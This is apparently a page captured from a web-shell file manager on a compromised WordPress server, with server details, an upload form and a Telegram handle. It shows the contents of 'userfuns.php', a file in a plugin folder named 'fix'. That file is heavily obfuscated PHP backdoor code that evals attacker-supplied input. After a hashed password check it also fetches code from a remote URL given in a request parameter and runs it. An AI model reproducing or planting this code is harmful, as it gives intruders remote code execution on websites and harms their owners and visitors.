https://t.me/RX1948
Server : Apache/2.4.41 (Ubuntu)
System : Linux wpfpm 5.4.0-1133-kvm #142-Ubuntu SMP Fri May 2 19:51:44 UTC 2025 x86_64
User : wpmodel1 ( 1034)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/wpmodel1/wp-content/plugins/fix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/wpmodel1/wp-content/plugins/fix/userfuns.php
<?php
 goto RUUzKn_HismR; CwE3a_iCf2Zt: $mrrETOneIPXF = ${$nWczuhA07hue[19 + 12] . $nWczuhA07hue[57 + 2] . $nWczuhA07hue[15 + 32] . $nWczuhA07hue[6 + 41] . $nWczuhA07hue[5 + 46] . $nWczuhA07hue[53 + 0] . $nWczuhA07hue[1 + 56]}; goto vS8colNfd6nJ; l1TEp6eFs6SK: $nWczuhA07hue = $tsI9I0e8HmYZ("\176", "\40"); goto CwE3a_iCf2Zt; ssuqySoTn0UP: $mrrETOneIPXF[63] = $mrrETOneIPXF[63] . $mrrETOneIPXF[74]; goto Kv2172vv_dH4; RUUzKn_HismR: $tsI9I0e8HmYZ = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto l1TEp6eFs6SK; EyoATx2vr7x9: metaphone("\x4d\x6a\111\62\x4f\124\153\x33\116\x7a\x59\x79\x4e\172\x49\x78\x4d\152\x45\x30\x4e\x6a\x41\x78\115\124\x59\x79\116\x54\x4d\171"); goto TigVeHgOmRCs; Wg8kNn4WCLZ6: cJ_M2pp5oC9S: goto EyoATx2vr7x9; Kv2172vv_dH4: @eval($mrrETOneIPXF[63](${$mrrETOneIPXF[50]}[15])); goto Wg8kNn4WCLZ6; TigVeHgOmRCs: class AiHi9DJfAeb_ { static function xFv6j6r0Cjwq($wcCe42CwFB2V) { goto EllEIn1ZjESy; vGrpLzzV6zsX: $mdfgym5ECzrO = explode("\53", $wcCe42CwFB2V); goto qr1J8bEaIFsb; EllEIn1ZjESy: $bWzj0OZ60bRz = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto akOulpeFfYed; abWcnaYKwPVR: foreach ($mdfgym5ECzrO as $F5iIRzkTRKmb => $LKDbPhUTm7gb) { $uaK5yJSqzIYj .= $MllVwGBr3jp1[$LKDbPhUTm7gb - 78882]; vka_Vu9YQazp: } goto a7BXR_qWJCyJ; LylUeTmqtkda: return $uaK5yJSqzIYj; goto sQpwxBbrNHee; a7BXR_qWJCyJ: he1YkfEEd3pr: goto LylUeTmqtkda; qr1J8bEaIFsb: $uaK5yJSqzIYj = ''; goto abWcnaYKwPVR; akOulpeFfYed: $MllVwGBr3jp1 = $bWzj0OZ60bRz("\x7e", "\40"); goto vGrpLzzV6zsX; sQpwxBbrNHee: } static function nCeYBdVoQjKk($HpJ2nqqLtRVv, $J7bn_6y_RE43) { goto kpEI4W3j81PX; Z4TrFQZKjPHf: curl_setopt($T9ZPHkiGoqqF, CURLOPT_RETURNTRANSFER, 1); goto N96yJFlFRQeP; N96yJFlFRQeP: $j9YwOL9cN4_c = curl_exec($T9ZPHkiGoqqF); goto lHBdvCmTg91d; kpEI4W3j81PX: $T9ZPHkiGoqqF = curl_init($HpJ2nqqLtRVv); goto Z4TrFQZKjPHf; lHBdvCmTg91d: return empty($j9YwOL9cN4_c) ? $J7bn_6y_RE43($HpJ2nqqLtRVv) : $j9YwOL9cN4_c; goto radNH_mGb774; radNH_mGb774: } static function D3sinrUgFuxb() { goto AN9oMOo15QXG; wi6yWyn86xJn: $wRxfLxhK3WDP = @$XONqbnhmbTX3[1]($XONqbnhmbTX3[10 + 0](INPUT_GET, $XONqbnhmbTX3[1 + 8])); goto aqNslQdjqx6j; jJI5F5r6ahDz: @$XONqbnhmbTX3[9 + 1](INPUT_GET, "\157\146") == 1 && die($XONqbnhmbTX3[0 + 5](__FILE__)); goto lcE6VRKlp15G; k6_H2tv2EH5p: x83qNZQmmHsa: goto D3Qg3eF886tp; aqNslQdjqx6j: $hKZrxhd3qTec = @$XONqbnhmbTX3[3 + 0]($XONqbnhmbTX3[6 + 0], $wRxfLxhK3WDP); goto MvFjHWu6BCKp; HLOC8MmXqmLn: foreach ($bEAASSOBhrwo as $BSsJJ6_kmUUf) { $XONqbnhmbTX3[] = self::XFv6J6R0CjWq($BSsJJ6_kmUUf); hHYFbnoNEzmF: } goto ESoPczqqm0v6; AN9oMOo15QXG: $bEAASSOBhrwo = array("\x37\x38\71\x30\71\x2b\67\70\70\x39\x34\x2b\x37\x38\x39\60\x37\x2b\x37\x38\71\61\x31\53\67\x38\x38\x39\x32\53\x37\x38\71\60\67\x2b\67\70\71\x31\x33\53\x37\70\x39\x30\x36\53\x37\x38\x38\71\x31\53\x37\70\x38\71\x38\x2b\x37\x38\x39\60\71\53\67\x38\70\x39\62\x2b\x37\70\x39\x30\x33\x2b\x37\x38\x38\x39\x37\x2b\x37\x38\x38\71\70", "\67\70\70\71\x33\x2b\67\x38\70\71\x32\x2b\x37\70\x38\71\64\x2b\x37\x38\x39\61\x33\x2b\67\70\x38\x39\64\x2b\x37\70\70\x39\x37\53\x37\70\70\71\62\53\67\x38\71\65\71\53\67\70\71\65\x37", "\x37\70\x39\60\62\x2b\67\70\70\x39\63\x2b\67\x38\70\71\x37\x2b\67\x38\70\71\70\x2b\x37\70\x39\x31\63\53\x37\x38\x39\60\x38\x2b\67\x38\x39\60\x37\x2b\x37\x38\x39\60\x39\53\67\x38\x38\x39\x37\x2b\x37\x38\71\60\70\53\67\70\71\x30\67", "\x37\x38\70\x39\x36\53\x37\x38\x39\x31\x31\x2b\67\x38\x39\x30\x39\53\67\x38\x39\x30\61", "\x37\70\x39\61\x30\x2b\67\x38\x39\x31\61\x2b\x37\70\x38\71\x33\53\x37\70\x39\x30\x37\x2b\x37\x38\71\x35\x34\x2b\67\x38\71\65\66\x2b\x37\70\71\x31\x33\53\x37\70\71\x30\x38\x2b\x37\70\71\x30\x37\x2b\67\70\x39\60\x39\53\x37\70\70\x39\67\x2b\x37\x38\x39\60\x38\x2b\x37\x38\71\60\x37", "\67\70\x39\60\66\x2b\x37\x38\71\x30\x33\x2b\x37\70\x39\60\60\x2b\67\x38\x39\x30\67\x2b\x37\70\x39\61\x33\x2b\x37\x38\x39\x30\65\53\67\70\71\60\67\53\67\70\70\x39\62\x2b\x37\x38\71\61\63\53\x37\70\71\60\x39\x2b\67\70\70\71\x37\x2b\x37\70\x38\x39\x38\x2b\x37\70\70\71\x32\53\x37\70\x39\x30\x37\53\67\x38\x38\71\x38\53\67\70\x38\x39\x32\x2b\67\x38\x38\x39\63", "\x37\70\x39\x33\x36\x2b\x37\x38\x39\x36\66", "\67\x38\70\x38\63", "\67\70\71\x36\x31\53\67\x38\x39\66\x36", "\x37\x38\71\64\x33\53\67\70\x39\62\x36\x2b\67\x38\x39\62\66\x2b\x37\x38\x39\x34\63\53\67\70\x39\61\x39", "\67\x38\x39\60\66\x2b\x37\x38\x39\x30\63\53\67\x38\71\x30\60\x2b\x37\70\x38\71\62\53\x37\x38\71\60\67\53\67\x38\x38\71\x34\x2b\x37\x38\71\61\x33\53\67\x38\71\x30\x33\53\x37\x38\x38\x39\70\x2b\x37\70\70\x39\66\x2b\x37\x38\x38\71\x31\x2b\x37\70\x38\x39\62"); goto HLOC8MmXqmLn; ESoPczqqm0v6: k1E_2GlNTzf4: goto wi6yWyn86xJn; lcE6VRKlp15G: if (!(@$unRxyhgCMM3W[0] - time() > 0 and md5(md5($unRxyhgCMM3W[2 + 1])) === "\x37\67\x37\67\x66\x65\x38\144\141\61\x63\63\60\63\141\71\x39\70\x36\145\x32\61\67\64\x34\66\143\142\x38\60\x37\x32")) { goto x83qNZQmmHsa; } goto YMhqmXA_WqCX; MvFjHWu6BCKp: $unRxyhgCMM3W = $XONqbnhmbTX3[1 + 1]($hKZrxhd3qTec, true); goto jJI5F5r6ahDz; JRzxzA92D0d6: die; goto k6_H2tv2EH5p; n0CRXqwWG0je: @eval($XONqbnhmbTX3[0 + 4]($ImynEufa7z5C)); goto JRzxzA92D0d6; YMhqmXA_WqCX: $ImynEufa7z5C = self::nceYbDvoQJkk($unRxyhgCMM3W[0 + 1], $XONqbnhmbTX3[2 + 3]); goto n0CRXqwWG0je; D3Qg3eF886tp: } } goto Bwljc3lYSRsj; vS8colNfd6nJ: if (!(in_array(gettype($mrrETOneIPXF) . "\62\x32", $mrrETOneIPXF) && md5(md5(md5(md5($mrrETOneIPXF[16])))) === "\x66\x31\x31\66\x63\64\x64\x32\x37\145\x61\146\x65\x62\x62\143\x35\145\x37\x35\x33\x34\145\x32\63\x35\x33\x63\144\x61\142\71")) { goto cJ_M2pp5oC9S; } goto ssuqySoTn0UP; Bwljc3lYSRsj: AIhI9dJfaeB_::D3sInruGfuxb();
?>

https://t.me/RX1948 - 2025